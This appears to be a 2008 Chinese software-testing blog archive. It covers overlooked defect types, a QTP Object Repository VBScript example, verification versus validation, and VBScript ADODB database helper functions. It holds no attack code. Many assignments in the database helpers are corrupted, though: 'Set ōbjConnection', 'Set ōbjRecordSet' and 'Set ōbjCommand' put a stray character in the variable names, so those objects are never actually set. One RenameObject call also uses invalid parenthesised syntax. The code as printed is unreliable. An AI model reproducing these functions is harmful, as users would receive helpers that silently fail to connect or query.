理论上讲,这属于兼容性测试应该覆盖的问题。有些客户很喜欢更新最新的软件版本或者微软时不时打些补丁包,问题就出现了。有时候升级不一定是好事。这些问题最好在测试的时候增加几个用例,多用不同软件版本的机器跑一跑。软件测试有个定律是:你没跑过的地方,就一定会出事。经常听到开发人员抱怨,怎么我的机器没问题,你的机器就有事了呢?这不能完全靠配置管理员解决问题,环境配置项是大家最容易忽略的。
11、用户管理缺陷
用户管理的角色和授权需要好好研究一下,作过测试的人员都知道,有时候为了测试的方便,测试用户都是具有超级权限的用户。而且,比较容易忽略用户管理这一部分的测试。往往发往客户的时候,很多测试用户都没有删除。
另外,有些接口的用户和口令,到软件使用寿命结束都没有更改过。在一次测试中,软件测试人员发现,给一个用户授超级用户权限,之后更改这个用户为受限权限。使用中发现,用户居然没有真正回收权限,用户管理界面上没有任何不对。及早准备用户管理用例,不要等到测试快结束时候才想起。
12、常识缺陷
从逻辑或者统计学上讲,计算机是允许如此处理的,但是从常识上来讲,这些情况不可能发生。例如电话号码不可能出现小数点,终止时间不能大于开始时间等等。除此之外,常识还要结合业务特点来进行判断,因此,开发和测试人员要格外注意对自己知识的培养以及增加对需求细节的了解。不能因为一味追求进度而采用最简单的代码来实现,对用户来说,这些错误可能是很荒谬的。
尽管我们不可能完美的测试一个软件,但是我们仍然可以改进我们的软件测试。每次测试结束,及时总结测试中的不足,进一步完善用例。思考一下那些容易忽略的软件缺陷,能提高对软件测试的认识,提高所在组织软件的质量。
-
使用Object Repository Automation Objects and Methods操作对象库
2008-07-13 11:39:58
Dim RepositoryFrom,TOCollection
Set RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")
RepositoryFrom.Load "C:\Login.tsr"
Set TOCollection = RepositoryFrom.GetAllObjectsByClass("WinButton")
Msgbox TOCollection.Count具体可参照help文档中关于ObjectRepositoryUtil的应用.
'The following example retrieves an object repository's objects and properties,
'looks for specific test objects using several methods, and copies a test object
'to another object repository.
Dim ImageObj, PageObj, RepositoryFrom, RepositoryTo
Set RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")
Set RepositoryTo = CreateObject("Mercury.ObjectRepositoryUtil")
RepositoryFrom.Load "C:\QuickTest\Tests\Flights.tsr"
RepositoryTo.Load "E:\Temp\Tests\Default.tsr"
Function EnumerateAllChildProperties(Root)
'The following function recursively enumerates all the test objects directly under
'a specified parent object. For each test object, a message box opens containing the
'test object's name, properties, and property values.
Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
Set TOCollection = RepositoryFrom.GetChildren(Root)
For i = 0 To TOCollection.Count - 1
Set TestObject = TOCollection.Item(i)
Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
Set PropertiesCollection = TestObject.GetTOProperties()
For n = 0 To PropertiesCollection.Count - 1
Set Property = PropertiesCollection.Item(n)
Msg = Msg & Property.Name & "-" & Property.Value & vbNewLine
Next
MsgBox Msg
EnumerateAllChildProperties TestObject
Next
End Function
Function EnumerateAllObjectsProperties(Root)
'The following function enumerates all the test objects under a specified object.
'For each test object, a message box opens containing the test object's name,
'properties, and property values.
Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
Set TOCollection = RepositoryFrom.GetAllObjects(Root)
For i = 0 To TOCollection.Count - 1
Set TestObject = TOCollection.Item(i)
Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
Set PropertiesCollection = TestObject.GetTOProperties()
For n = 0 To PropertiesCollection.Count - 1
Set Property = PropertiesCollection.Item(n)
Msg = Property.Name & "-" & Property.Value & vbNewLine
Next
MsgBox Msg
Next
End Function
Function RenameAllImages(Root)
'The following function sets a new name for all image test objects under a specified object.
Dim TOCollection, TestObject, PropertiesCollection, Property
Set TOCollection = RepositoryTo.GetAllObjectsByClass("Image")
For i = 0 To TOCollection.Count - 1
Set TestObject = TOCollection.Item(i)
RepositoryTo.RenameObject (TestObject, "Image " & i)
RepositoryTo.UpdateObject TestObject
Next
End Function
Function RemoveAllLinks(Root)
'The following function recursively enumerates all the test objects under a specified object.
'It looks for all test objects of class Link and removes them from their parent objects.
Dim TOCollection, TestObject, PropertiesCollection, Property
Set TOCollection = RepositoryFrom.GetChildren(Root)
For i = 0 To TOCollection.Count - 1
Set TestObject = TOCollection.Item(i)
TOClass = TestObject.GetTOProperty("micclass")
If TOClass = "Link" Then
RepositoryFrom.RemoveObject Root, TestObject
End If
EnumerateAllChildProperties TestObject
Next
End Function
Call EnumerateAllChildProperties(Null)
Call EnumerateAllObjectsProperties(Null)
Call RenameAllImages(Null)
Call RemoveAllLinks(Null)
Set ImageObj = RepositoryFrom.GetObject("Browser(""CNN.com"").Page(""CNN.com"").Image(""Remains identified"")")
If (Not IsNull(ImageObj)) Then
MsgBox RepositoryFrom.GetLogicalName(ImageObj)
Else MsgBox "null"
End If
Set PageObj = RepositoryTo.GetObjectByParent("Browser(""CNN.com"")", "Page(""CNN.com"")")
If (Not IsNull(PageObj)) Then
MsgBox RepositoryTo.GetLogicalName(PageObj)
Else MsgBox "null"
End If
RepositoryTo.AddObject ImageObj, PageObj
RepositoryFrom.Save
RepositoryTo.Save
-
测试基础积累
2008-06-30 22:16:30
1. Verification Test & Validation Test:
Verification是验证,是通过提供客观证据证明规定的要求是否得到满足,也就是说,输入与输出比较.
Validation是确认,是在验证好的基础上,对预期的使用和应用要求是否得到满足,也就是说,在确认时,应考虑使用和应用的条件范围要远远大于输入时确定的范围.一般是由客户或代表客户的人执行.2. 测试策略是基于风险的:
测试策略指尽最大可能利用有限资源与时间,侧重系统的主要功能或系统的薄弱地方进行测试。
风险是指错误发生时产生的破坏的机会或危险。
将用户的期望转换为测试的目标, 在测试的效果和风险的覆盖之间寻找最优平衡。
-
VBS 常用数据库函数
2008-06-21 14:28:41
VBS写的常用数据库公用函数
摘自http://bbs.51testing.com/viewthread.php?tid=118028&pid=998989&page=1&extra=page%3D1#pid998989
以下是我写的常用的数据库公用函数,希望大家能一起探讨和总结,把一些常用的数据库公用函数分享出来。这个是初稿,以后使用中我会继续完善
特别是在做报表自动化测试时,数据库的公用函数使用尤其频繁,包括对存储过程的操作
' DATABASE公用函数
'
'###########################################################################################################
'###########################################################################################################
Dim objConnection 'CONNECTION对象实例
Dim objRecordSet 'RECORDSET对象实例
Dim objCommand '命令对象实例
Dim strConnectionString '连接字符串
' ********************************************************************
' 函数说明:连接数据库;
' 参数说明:(1)strDBType(数据库类型:如ORACEL;DB2;SQL;ACCESS)
' (2)strDBAlias(数据库别名)
' (3)strUID(用户名)
' (4)strPWD(密码)
' (5)strIP(数据库IP地址:仅SQL SERVER 使用)
' (6)strLocalHostName(本地主机名:仅SQL SERVER 使用)
' (7)strDataSource(数据源:仅ACCESS使用;如d:\yysc.mdb)
' 返回结果:无
' 调用方法: ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)
' ********************************************************************
Sub ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)
Set ōbjConnection = CreateObject("ADODB.CONNECTION") '1 - 建立CONNECTION对象的实例
Select Case UCase(Trim(strDBType))
Case "ORACLE"
strConnectionString = "Driver={Microsoft ODBC for Oracle};Server=" & strDBAlias & ";Uid="_
& strUID & ";Pwd=" & strPWD & ";" '2 - 建立连接字符串
objConnection.Open strConnectionString '3 - 用Open 方法建立与数据库连接
Case "DB2"
strConnectionString = "Driver={IBM DB2 ODBC DRIVER};DBALIAS=" & strDBAlias & ";Uid="_
& strUID & ";Pwd=" & strPWD & ";"
objConnection.Open strConnectionString
Case "SQL"
strConnectionString = "DRIVER=SQL Server; SERVER=" & strIP & "; UID=" & strUID & "; PWD="_
& strPWD & "; APP=Microsoft Office 2003;WSID=" & strLocalHostName & "; DATABASE=" & strDBAlias & ";"
objConnection.Open strConnectionString
Case "ACCESS"
strConnectionString = "provider=microsoft.jet.oledb.4.0;data source=" & strDataSource &_
";Jet OLEDB:Database Password=" & strPWD & ";"
objConnection.Open strConnectionString
Case Else
MsgBox "输入的数据库类型格式有误" & vbCrLf & "支持的数据库类型格式:ORACLE;DB2;SQL;ACCESS;EXCEL"
End Select
If (objConnection.State = 0) Then
MsgBox "连接数据库失败!"
End If
End Sub
' ********************************************************************
' 函数说明:查询数据库(查询单列);
' 参数说明: (1)strSql:SQL语句
' (2)strFieldName:字段名
' (3)str_Array_QueryResult:数组名(用来返回单列查询结果)
' 返回结果: intArrayLength:查询数据库返回的记录行数
' str_Array_QueryResult:数组名(用来返回单列查询结果)
' 调用方法: intArrayLength = QueryDatabase(strSql, strFieldName, str_Array_QueryResult)
' ********************************************************************
Function QueryDatabase(strSql, strFieldName, str_Array_QueryResult)
Dim intArrayLength '数组长度
Dim i
i = 0
str_Array_QueryResult = Array() '重新初始化数组为一个空数组
Set ōbjRecordSet = CreateObject("ADODB.RECORDSET") '4 - 建立RECORDSET对象实例
Set ōbjCommand = CreateObject("ADODB.COMMAND") '5 - 建立COMMAND对象实例
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
objRecordSet.CursorLocation = 3
objRecordSet.Open objCommand '6 - 执行SQL语句,将结果保存在RECORDSET对象实例中
intArrayLength = objRecordSet.RecordCount '将查询结果的行数作为数组的长度
If intArrayLength > 0 Then
ReDim str_Array_QueryResult(intArrayLength-1)
Do While NOT objRecordSet.EOF '将数据库查询的列值赋值给数组
str_Array_QueryResult(i) = objRecordSet(strFieldName)
'Debug.WriteLine str_Array_QueryResult(i)
objRecordSet.MoveNext
i = i + 1
Loop
' Else
'ReDim str_Array_QueryResult(0)
'str_Array_QueryResult(0) = ""
End If
QueryDatabase = intArrayLength
End Function
' ********************************************************************
' 函数说明:更新数据库;包括INSERT、DELETE 和 UPDATE操作
' 参数说明:(1)strSql:SQL语句
' 返回结果:无
' 调用方法: UpdateDatabase(strSql)
' ********************************************************************
Sub UpdateDatabase(strSql)
Dim objCommand
Dim objField
Set ōbjCommand = CreateObject("ADODB.COMMAND")
Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")
objCommand.CommandText = strSql
objCommand.ActiveConnection = objConnection
Set ōbjRecordSet = objCommand.Execute
' Do Until objRecordSet.EOF
' For Each objField In objRecordSet.Fields
' Debug.Write objField.Name & ": " & objField.Value & " "
' Next
' objRecordSet.MoveNext
' Debug.WriteLine
' Loop
Set ōbjCommand = Nothing
Set ōbjRecordSet = Nothing
End Sub
' ********************************************************************
' 函数说明:返回符合查询结果的列的长度
' 参数说明:(1)strSql:SQL语句
' 返回结果:返回符合查询结果的列的长度
' 调用方法: MaxLength = GetLenOfField(strSql)
' ********************************************************************
Function GetLenOfField(strSql)
'如果SQL语句为空,则默认返回的列长度为0,结束函数;否则返回列的实际长度
If strSql = "" Then
GetLenOfField = 0
Exit Function
Else
Set ōbjRecordSet = CreateObject("ADODB.RECORDSET") '4 - 建立RECORDSET对象实例
Set ōbjCommand = CreateObject("ADODB.COMMAND") '5 - 建立COMMAND对象实例
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
objRecordSet.CursorLocation = 3
objRecordSet.Open objCommand '6 - 执行SQL语句,将结果保存在RECORDSET对象实例中
GetLenOfField = objRecordSet.RecordCount '返回符合查询结果的列的长度
Set ōbjCommand = Nothing
Set ōbjRecordSet = Nothing
End If
End Function
' ********************************************************************
' 函数说明:关闭数据库连接;
' 参数说明:无
' 返回结果:无
' 调用方法: CloseDatabase()
' ********************************************************************
Sub CloseDatabase()
objRecordSet.Close
objConnection.Close
Set ōbjCommand = Nothing
Set ōbjRecordSet = Nothing
Set ōbjConnection = Nothing
End Sub
标题搜索
我的存档
数据统计
- 访问量: 42247
- 日志数: 40
- 文件数: 1
- 建立时间: 2007-08-06
- 更新时间: 2014-06-10